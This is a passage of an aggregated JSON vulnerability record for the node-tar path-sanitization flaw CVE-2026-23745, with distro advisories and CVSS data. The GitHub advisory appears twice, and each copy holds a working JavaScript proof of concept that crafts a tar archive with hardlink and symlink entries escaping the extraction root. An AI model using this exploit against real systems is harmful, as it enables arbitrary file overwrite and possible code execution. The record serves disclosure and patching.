hat trusted artifact signer 1.3"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97","tags":["x_refsource_CONFIRM","Exploit","Patch","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23745","tags":["vdb-entry","x_refsource_REDHAT","report","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430538","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23745.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18480","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18868","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:2900","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41928","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:3782","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19712","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6192","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:2926","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:2144","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/acornjs/acorn/issues/929","tags":["web"]},{"url":"https://github.com/acornjs/acorn/commit/793c0e569ed1158672e3a40aeed1d8518832b802","tags":["web"]},{"url":"https://snyk.io/vuln/SNYK-JS-ACORN-559469","tags":["web"]},{"url":"https://www.npmjs.com/advisories/1488","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6chw-6frg-f759"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23745","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8qq5-rm4j-mr97"},{"url":"https://access.redhat.com/security/cve/CVE-2025-13465","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-15284","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23950","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-24842","tags":["report"]},{"url":"https://bugzilla.redhat.com/2425946","tags":["report"]},{"url":"https://bugzilla.redhat.com/2430538","tags":["report"]},{"url":"https://bugzilla.redhat.com/2431036","tags":["report"]},{"url":"https://bugzilla.redhat.com/2431740","tags":["report"]},{"url":"https://bugzilla.redhat.com/2433645","tags":["report"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-18480.html","tags":["advisory"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-18868.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23745.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-23745","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/10.2_release_notes/index","tags":["article"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2425946","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431036","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431740","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2433645","tags":["report"]},{"url":"https://issues.redhat.com/browse/RHEL-110112","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-121612","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-140108","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18480.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-13465","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-13465","tags":["advisory"]},{"url":"https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-15284","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-15284","tags":["advisory"]},{"url":"https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23745","tags":["advisory","report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23950","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23950","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-24842","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24842","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/9.8_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-127046","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-140109","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18868.json","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:18480","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:18868","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-23745","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-23745","title":"node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","status":"published","published":"2026-01-16T22:00:08.769Z","modified":"2026-09-07T12:04:48.619Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-22","CWE-22"],"updated_at":"2026-11-02T13:42:15.603999Z"}],"euvd":[{"id":"EUVD-2026-2909","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","status":"published","published":"2026-01-16T22:00:08Z","modified":"2026-09-07T12:04:48Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:30.668645Z"}],"ghsa":[{"id":"GHSA-6chw-6frg-f759","title":"Regular Expression Denial of Service in Acorn","description":"Affected versions of acorn are vulnerable to Regular Expression Denial of Service.\nA regex in the form of /[x-\\ud800]/u causes the parser to enter an infinite loop.\nThe string is not valid UTF16 which usually results in it being sanitized before reaching the parser.\nIf an application processes untrusted input and passes it directly to acorn,\nattackers may leverage the vulnerability leading to Denial of Service.","status":"published","published":"2020-04-03T21:48:38Z","modified":"2023-01-09T05:02:14Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:36:03.040255Z"},{"id":"GHSA-8qq5-rm4j-mr97","title":"node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization","description":"### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require('fs')\nconst path = require('path')\nconst tar = require('tar')\n\nconst out = path.resolve('out_repro')\nconst secret = path.resolve('secret.txt')\nconst tarFile = path.resolve('exploit.tar')\nconst targetSym = '/etc/passwd'\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, 'ORIGINAL_DATA')\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n  path: 'exploit_hard',\n  type: 'Link',\n  size: 0,\n  linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n  path: 'exploit_sym',\n  type: 'SymbolicLink',\n  size: 0,\n  linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log('[*] Extracting malicious tarball...')\n\n// 3. Extract with default secure settings\ntar.x({\n  cwd: out,\n  file: tarFile,\n  preservePaths: false\n}).then(() =\u003e {\n  console.log('[*] Verifying payload...')\n\n  // Test Hardlink Overwrite\n  try {\n    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')\n    \n    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {\n      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')\n    } else {\n      console.log('[-] Hardlink failed')\n    }\n  } catch (e) {}\n\n  // Test Symlink Poisoning\n  try {\n    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {\n      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')\n    } else {\n      console.log('[-] Symlink failed')\n    }\n  } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)","status":"published","published":"2026-01-16T21:16:20Z","modified":"2026-02-18T23:43:47Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:25.82905Z"}],"nvd":[{"id":"CVE-2026-23745","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","status":"published","published":"2026-01-16T22:16:26.83Z","modified":"2026-09-07T13:18:15.473Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium","assessor":"primary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:04.066712Z"}],"osv":[{"id":"CVE-2026-23745","title":"node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","status":"published","published":"2026-01-16T22:00:08.769Z","modified":"2026-10-28T02:31:05.555060378Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"DEBIAN-CVE-2026-23745","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","status":"published","published":"2026-01-16T22:16:26.83Z","modified":"2026-10-01T03:03:00.45769285Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:53.516942Z"},{"id":"GHSA-6chw-6frg-f759","title":"Regular Expression Denial of Service in Acorn","description":"Affected versions of acorn are vulnerable to Regular Expression Denial of Service.\nA regex in the form of /[x-\\ud800]/u causes the parser to enter an infinite loop.\nThe string is not valid UTF16 which usually results in it being sanitized before reaching the parser.\nIf an application processes untrusted input and passes it directly to acorn,\nattackers may leverage the vulnerability leading to Denial of Service.","status":"published","published":"2020-04-03T21:48:38Z","modified":"2021-08-23T15:10:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"GHSA-8qq5-rm4j-mr97","title":"node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization","description":"### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require('fs')\nconst path = require('path')\nconst tar = require('tar')\n\nconst out = path.resolve('out_repro')\nconst secret = path.resolve('secret.txt')\nconst tarFile = path.resolve('exploit.tar')\nconst targetSym = '/etc/passwd'\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, 'ORIGINAL_DATA')\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n  path: 'exploit_hard',\n  type: 'Link',\n  size: 0,\n  linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n  path: 'exploit_sym',\n  type: 'SymbolicLink',\n  size: 0,\n  linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log('[*] Extracting malicious tarball...')\n\n// 3. Extract with default secure settings\ntar.x({\n  cwd: out,\n  file: tarFile,\n  preservePaths: false\n}).then(() =\u003e {\n  console.log('[*] Verifying payload...')\n\n  // Test Hardlink Overwrite\n  try {\n    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')\n    \n    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {\n      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')\n    } else {\n      console.log('[-] Hardlink failed')\n    }\n  } catch (e) {}\n\n  // Test Symlink Poisoning\n  try {\n    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {\n      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')\n    } else {\n      console.log('[-] Symlink failed')\n    }\n  } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)","status":"published","published":"2026-01-16T21:16:20Z","modified":"2026-09-10T03:50:59.009017334Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"RHSA-2026:18480","title":"Red Hat Security Advisory: linux-sgx security update","status":"published","published":"2026-05-19T10:06:40Z","modified":"2026-10-16T10:12:07Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:18.520917Z"},{"id":"RHSA-2026:18868","title":"Red Hat Security Advisory: linux-sgx security update","status":"published","published":"2026-05-20T10:09:29Z","modified":"2026-10-16T10:12:09Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:18.520917Z"},{"id":"RLSA-2026:18480","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.\n\nSecurity Fix(es):\n\n* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n\n* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n\n* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Rocky Linux 10 Release Notes linked from the References section.","status":"published","published":"2026-05-29T16:03:45.659533Z","modified":"2026-05-29T16:30:23.740685725Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:25.508922Z"},{"id":"RLSA-2026:18868","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.\n\nSecurity Fix(es):\n\n* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n\n* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n\n* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Rocky Linux 9 Release Notes linked from the References section.","status":"published","published":"2026-05-28T15:43:06.024531Z","modified":"2026-05-28T16:00:24.767658806Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:25.508922Z"},{"id":"ROOT-APP-NPM-CVE-2026-23745","title":"CVE-2026-23745 in tar - Patched by Root","description":"Root has patched CVE-2026-23745 in the tar package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T11:51:26Z","modified":"2026-10-19T12:15:04.722209537Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"UBUNTU-CVE-2026-23745","description":"node-tar is a Tar for Node.js. The node-tar library (\u003c= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.","status":"published","published":"2026-01-16T22:16:00Z","modified":"2026-10-27T04:17:51.578498653Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:04.456047Z"},{"id":"ALSA-2026:18480","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.  \n\nSecurity Fix(es):  \n\n  * qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n  * node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n  * node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n  * lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n  * node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  \n\nAdditional Changes:  \n\nFor detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.\n","status":"published","published":"2026-05-19T00:00:00Z","modified":"2026-10-29T11:30:15.225622392Z","updated_at":"2026-11-02T15:27:53.875139Z"},{"id":"ALSA-2026:18868","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.  \n\nSecurity Fix(es):  \n\n  * qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n  * node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n  * node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n  * lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n  * node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  \n\nAdditional Changes:  \n\nFor detailed information on changes in this release, see the AlmaLinuxRelease Notes linked from the References section.\n","status":"published","published":"2026-05-19T00:00:00Z","modified":"2026-10-29T11:32:30.97810048Z","updated_at":"2026-11-02T15:27:53.875139Z"},{"id":"CLSA-2026-1773188129","title":"TuxCare security update for tar (7 CVEs)","description":"TuxCare rebuilt tar to address 7 CVEs. Fixed in 2.2.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:27.769618678Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"CLSA-2026-1773533794","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.780703773Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1773706632","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 1.0.3-tuxcare.2.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-10-15T09:47:47.069240169Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774830255","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-25T01:43:09.243456592Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1780620684","title":"TuxCare security update for acorn (1 CVE)","description":"TuxCare rebuilt acorn to address 1 CVE. Fixed in 6.0.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:35Z","modified":"2026-10-30T19:45:55.719094904Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1780620685","title":"TuxCare security update for acorn (1 CVE)","description":"TuxCare rebuilt acorn to address 1 CVE. Fixed in 6.2.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:35Z","modified":"2026-10-30T19:45:54.384369162Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1784509814","title":"TuxCare security update for tar (2 CVEs)","description":"TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.2.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:45Z","modified":"2026-10-15T09:45:58.738584924Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"CLSA-2026-1787823889","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.0-tuxcare.1.","status":"withdrawn","published":"2026-08-27T09:44:49Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1787823934","title":"TuxCare security update 